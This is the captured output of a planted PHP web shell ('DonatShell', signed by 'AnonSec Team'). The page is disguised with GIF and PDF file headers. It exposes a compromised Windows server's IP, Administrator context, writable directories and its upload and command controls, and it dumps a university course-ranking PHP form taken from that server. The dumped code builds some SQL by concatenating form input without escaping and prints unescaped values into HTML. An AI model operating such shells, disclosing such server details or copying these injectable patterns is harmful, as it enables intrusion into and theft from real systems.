GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/DARS.cloak/RankClasses/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/DARS.cloak/RankClasses/RankClasses_Form.phpinc
<?
// /Admin/DARS/RankClasses/RankClasses_Form.phpinc
// purpose_of_page_goes_here

$headTitle = '_CST_ - Rank Classes';
$pageTitle = '_CST_<br>Rank Classes';
$css = "printing";
include('common/pageHeader.phpinc');

// Get sessionId
$query = "
    SELECT sessionId
      FROM `session`
     WHERE YRTR = '".mysql_safe($_SESSION['YRTR']['User'])."'
";
$sessionResult = query_do($query);
$sessionResultCount = $_SESSION['qry']['count'];
if (!$sessionResultCount) {
  $f_error = 'SessionId not found for '.$_SESSION['YRTR']['User'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	include('common/displayErrorsAndMessages.phpinc');
	include('common/pageFooter.phpinc');
}
mysql_data_seek($sessionResult, 0);
$sessionRow = mysql_fetch_assoc($sessionResult);
$f_sessionId = $sessionRow['sessionId'];


$year = substr($_SESSION['YRTR']['User'],0,4);
$semester = substr($_SESSION['YRTR']['User'],-1);
switch ( $semester ) {
	case '3':
		$year--;
		$semesterDARS = $year.'5';
	break;
	case '5':
		$semesterDARS = $year.'3';
	break;
	default:
		$f_messageError = 'Currently this only works for Fall or Spring semesters.';
		require('common/programmingError.phpinc');
	break;
}
#d_Var('$semesterDARS',$semesterDARS,'d');
$query = "
		SELECT sessionId
			FROM `session`
		 WHERE YRTR = '".mysql_safe($semesterDARS)."'
";
$sessionResult = query_do($query);
$sessionResultCount = $_SESSION['qry']['count'];
if ($sessionResultCount == 1) {
	mysql_data_seek($sessionResult, 0);
	$sessionRow = mysql_fetch_assoc($sessionResult);
	$f_sessionIdDARS = $sessionRow['sessionId'];
} else {
	$f_messageError = 'Session not found for '.$semesterDARS.'.';
		require('common/programmingError.phpinc');
}

// Get the darsIds for this sessionId.
$query = "
		SELECT darsId
			FROM `dars`
		 WHERE sessionId = ".$f_sessionIdDARS."
	ORDER BY darsId
";
$darsResult = query_do($query);
$darsResultCount = $_SESSION['qry']['count'];
if (!$darsResultCount) {
	$f_error = 'No DARS found for session '.$_SESSION['YRTR']['User'].'.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
	include('common/displayErrorsAndMessages.phpinc');
	include('common/pageFooter.phpinc');
}
$darsList = query_to_list($darsResult);
#printVar('$darsResultCount',$darsResultCount);
#printVar('$darsList',$darsList);

// Get the darssectionId for these darsIds where darssectionTitle = 'Technical Core Courses'.
$query = "
		SELECT darssectionId
			FROM `darssection`
		 WHERE darsId IN (".$darsList.")
			 AND darssectionTitle = 'Technical Core Courses'
	ORDER BY darssectionId
";
$darssectionResult = query_do($query);
$darssectionResultCount = $_SESSION['qry']['count'];
if (!$darssectionResultCount) {
	$f_error = 'No DARS sections found for session '.$_SESSION['YRTR']['User'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	include('common/displayErrorsAndMessages.phpinc');
	include('common/pageFooter.phpinc');
}
$darssectionList = query_to_list($darssectionResult);
#printVar('$darssectionResultCount',$darssectionResultCount);
#printVar('$darssectionList',$darssectionList);

// Get the credential codes.
$query = "
    SELECT darscredentialcodeId,
           darscredentialcodeCode
      FROM `darscredentialcode`
  ORDER BY darscredentialcodeCode
";
$darscredentialcodeResult = query_do($query);
$darscredentialcodeResultCount = $_SESSION['qry']['count'];
#if ($darscredentialcodeResultCount != 1) {
if (!$darscredentialcodeResultCount) {
  $f_error = 'No credential codes found.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
  include('common/displayErrorsAndMessages.phpinc');
  include('common/pageFooter.phpinc');
}

// Display the table key.
?>
<br>
<table class="blackborder center">
	<tr><th colspan="3">Key:</th></tr>
	<tr>
		<th class="grayborder">Code</th><th class="grayborder" colspan="2">Credential Title</th>
	</tr>
<?
mysql_data_seek($darscredentialcodeResult, 0);
while ($darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult)) {
 // Get the credential names for these codes.
	$query = "
			SELECT darscredentialId,
						 darscredentialTitle,
						 darscredentialcodeId,
						 darscredentialCode
				FROM `darscredential`
			 WHERE darscredentialcodeId = ".$darscredentialcodeRow['darscredentialcodeId']."
		ORDER BY darscredentialTitle
	";
	$darscredentialResult = query_do($query);
	$darscredentialResultCount = $_SESSION['qry']['count'];
	#if ($darscredentialResultCount != 1) {
	if (!$darscredentialResultCount) {
		$darscredentialRow = '';
		$f_error = 'No credential titles found.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
		include('common/displayErrorsAndMessages.phpinc');
		include('common/pageFooter.phpinc');
	}
?>
		<td class="grayborder"><?=$darscredentialcodeRow['darscredentialcodeCode']?></td>
		<!-- <td class="grayborder"> -->
<?
	mysql_data_seek($darscredentialResult, 0);
	while ($darscredentialRow = mysql_fetch_assoc($darscredentialResult)) {
?>
	 			<td class="grayborder"><?=$darscredentialRow['darscredentialTitle']?> <span style="white-space:nowrap">(<?=$darscredentialRow['darscredentialCode']?>)</span></td>
<?
	}
?>
		<!-- </td> -->
	</tr>
<?
}
?>
</table>
<?

// Get the darssectionselectfrom classes.
$query = "
		SELECT DISTINCT
					 darssectionselectfromDept,
					 darssectionselectfromNumb,
					 darssectionselectfromOrDept,
					 darssectionselectfromOrNumb,
					 count(darssectionselectfromDept) AS classCount
			FROM `darssectionselectfrom`
		 WHERE darssectionId IN (".$darssectionList.")
	GROUP BY darssectionselectfromDept, darssectionselectfromNumb, darssectionselectfromOrDept, darssectionselectfromOrNumb
	ORDER BY darssectionselectfromDept, darssectionselectfromNumb
";
$darssectionselectfromResult = query_do($query);
$darssectionselectfromResultCount = $_SESSION['qry']['count'];
if (!$darssectionselectfromResultCount) {
	$f_error = 'No DARS section Classes found for session '.$_SESSION['YRTR']['User'].'.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	include('common/displayErrorsAndMessages.phpinc');
	include('common/pageFooter.phpinc');
}	
#printVar('$darssectionselectfromResultCount',$darssectionselectfromResultCount);
#printQuery('$darssectionselectfromResult',$darssectionselectfromResult);

function displayTableHeader($result,$cols) {
	$cols += 5;
?>
	<tr><th class="center grayline" colspan="<?=$cols?>"><input type="submit" name="f_task" value="Update Rank" /></th></tr>
	<tr>
		<th class="center grayline" colspan="2">Class</th>
		<th class="center grayline">Cr</th>
<?
	$style = '';
	mysql_data_seek($result, 0);
	while ($resultRow = mysql_fetch_assoc($result)) {
		if ($style) {
			$style = '';
		} else {
			$style = ' style="background-color:#EFEFEF"';
		}
?>
		<th class="center grayline"<?=$style?>><?=$resultRow['darscredentialcodeCode']?><br>Rank</th>
<?
	}
?>
		<th class="center grayline" colspan="2">or Class</th>
	</tr>
<?
}

?>
<br>
<form name="rankClasses" action="<?=php_self()?>" method="post">
<input type="hidden" name="f_form" value="rankClasses" />
<input type="hidden" name="uuid" value="<?=uuid()?>" />
<table class="blackborder center">
<?
displayTableHeader($darscredentialcodeResult,$darscredentialcodeResultCount);

// Loop through the classes.
$headerLineRepeatAt = 20;
$line = $headerLineRepeatAt;
mysql_data_seek($darssectionselectfromResult, 0);
$f_darsclassIdPrevious = 0;
while ($darssectionselectfromRow = mysql_fetch_assoc($darssectionselectfromResult)) { // Loop thru darssectionselectfromResult.
	if ( !strstr($darssectionselectfromRow['darssectionselectfromNumb'],'.') ) { // The class number does not have a '.'?
		#printVar('$darssectionselectfromRow',$darssectionselectfromRow);
		// Get the darsclassId for this class.
		$query = "
				SELECT darsclassId,
							 darsclassCredits,
							 darsclassOffered
					FROM `darsclass`
				 WHERE darsclassDept = '".mysql_safe($darssectionselectfromRow['darssectionselectfromDept'])."'
					 AND darsclassNumb = '".mysql_safe($darssectionselectfromRow['darssectionselectfromNumb'])."'
		";
		$darsclassResult = query_do($query);
		$darsclassResultCount = $_SESSION['qry']['count'];
		if (!$darsclassResultCount) {
			// Add the class to darsclass.
			printVar('$f_darsclassCredits',$f_darsclassCredits);
			if ($f_darsclassCredits == '') $f_darsclassCredits = -1;
			$query = "
					INSERT
						INTO `darsclass` (
						darsclassDept,
						darsclassNumb,
						darsclassCredits,
						darsclassOffered
					) VALUES (
					 '".mysql_safe($darssectionselectfromRow['darssectionselectfromDept'])."',
					 '".mysql_safe($darssectionselectfromRow['darssectionselectfromNumb'])."',
						".$f_darsclassCredits.",
						".$f_darsclassOffered."
					)
			";
			$darsclassInsert = query_do($query);
			// Get the darsclassId for this class.
			$query = "
					SELECT darsclassId,
								 darsclassCredits,
								 darsclassOffered
						FROM `darsclass`
					 WHERE darsclassDept = '".mysql_safe($darssectionselectfromRow['darssectionselectfromDept'])."'
						 AND darsclassNumb = '".mysql_safe($darssectionselectfromRow['darssectionselectfromNumb'])."'
			";
			$darsclassResult = query_do($query);
			$darsclassResultCount = $_SESSION['qry']['count'];
			if (!$darsclassResultCount) {
				$f_error = 'Class '.$darssectionselectfromRow['darssectionselectfromDept'].$darssectionselectfromRow['darssectionselectfromNumb'].' could not be added to the darsclass table.<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
				include('common/displayErrorsAndMessages.phpinc');
				include('common/pageFooter.phpinc');
			}
		}
		mysql_data_seek($darsclassResult, 0);
		$darsclassRow = mysql_fetch_assoc($darsclassResult);
		#printVar('$darsclassRow',$darsclassRow);
		$f_darsclassId = $darsclassRow['darsclassId'];
		if ( $f_darsclassId != $f_darsclassIdPrevious ) { // Not duplicate?
			$f_darsclassIdPrevious = $f_darsclassId;
			// Get the darsclassCredits.
			if ($f_form == 'rankClasses') {
				// Get the darsclassCredits from the form.
				$f_darsclassCredits = formValue('darsclassCredits_'.$f_darsclassId);
				$f_darsclassOffered = formValue('darsclassOffered_'.$f_darsclassId);
			} else {
				// Get the darsclassCredits from the database.
				$f_darsclassCredits = $darsclassRow['darsclassCredits'];
				$f_darsclassOffered = $darsclassRow['darsclassOffered'];
			}
			if ($f_darsclassCredits == -1) $f_darsclassCredits = ''; // Display -1 credits as '';
			if (!$line) {
				$line = $headerLineRepeatAt;
				displayTableHeader($darscredentialcodeResult,$darscredentialcodeResultCount);
			}
			$line--;
			if ($f_darsclassOffered) {
				$checked = ' checked="checked"';
			} else {
				$checked = '';
			}
		?>
			<tr>
				<td class="grayline right pv_b"><?=$darssectionselectfromRow['darssectionselectfromDept']?></td><td class="grayline pv_b"><?=$darssectionselectfromRow['darssectionselectfromNumb']?> <span class="normal small">#<?=$f_darsclassId?></span></td><td><input type="checkbox" name="f_darsclassOffered_<?=$f_darsclassId?>" value="1"<?=$checked?> /> <input type="text" class="number2" name="f_darsclassCredits_<?=$f_darsclassId?>" value="<?=$f_darsclassCredits?>" /></td>
		<?
			// Loop through the credentials.
			$style = '';
			mysql_data_seek($darscredentialcodeResult, 0);
			while ($darscredentialcodeRow = mysql_fetch_assoc($darscredentialcodeResult)) {
				$f_darscredentialcodeId = $darscredentialcodeRow['darscredentialcodeId'];
				if ($f_form == 'rankClasses') {
					// Get the darsclassrankRank from the form.
					$f_darsclassrankRank = formValue('darsclassrankRank_'.$f_darsclassId.'_'.$f_darscredentialcodeId);
				} else {
					// Get the darsclassrankRank from the database.
					$query = "
							SELECT darsclassrankRank
								FROM `darsclassrank`
							 WHERE darsclassId = ".$f_darsclassId."
								 AND darscredentialcodeId = ".$f_darscredentialcodeId."
					";
					$darsclassrankResult = query_do($query);
					$darsclassrankResultCount = $_SESSION['qry']['count'];
					if (!$darsclassrankResultCount) {
						$darsclassrankRank  = '';
					} else {
						$darsclassrankRow = mysql_fetch_assoc($darsclassrankResult);
						$f_darsclassrankRank = $darsclassrankRow['darsclassrankRank'];
					}
				}
				if ( !isset($f_darsclassrankRank) || $f_darsclassrankRank == 0 ) $f_darsclassrankRank = ''; // Display 0 rank as '';
				if ($style) {
					$style = '';
				} else {
					$style = ' style="background-color:#EFEFEF"';
				}
		?>
				<td class="center grayline"<?=$style?>>
					<input type="text" class="number3" name="f_darsclassrankRank_<?=$f_darsclassId?>_<?=$f_darscredentialcodeId?>" value="<?=$f_darsclassrankRank?>" />
				</td>
		<?
			}
		?>
				<td class="grayline right pv_b"><?=$darssectionselectfromRow['darssectionselectfromOrDept']?></td><td class="grayline pv_b"><?=$darssectionselectfromRow['darssectionselectfromOrNumb']?></td>
			</tr>
	<?
			$cols = $darscredentialcodeResultCount + 5;
		} // Not duplicate?
	} // The class number does not have a '.'?
} // Loop thru darssectionselectfromResult.
?>
	<tr><th class="center grayline" colspan="<?=$cols?>"><input type="submit" name="f_task" value="Update Rank" /></th></tr>
</table>
</form>
<?
#setDebugOn();
#setDebugOff();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team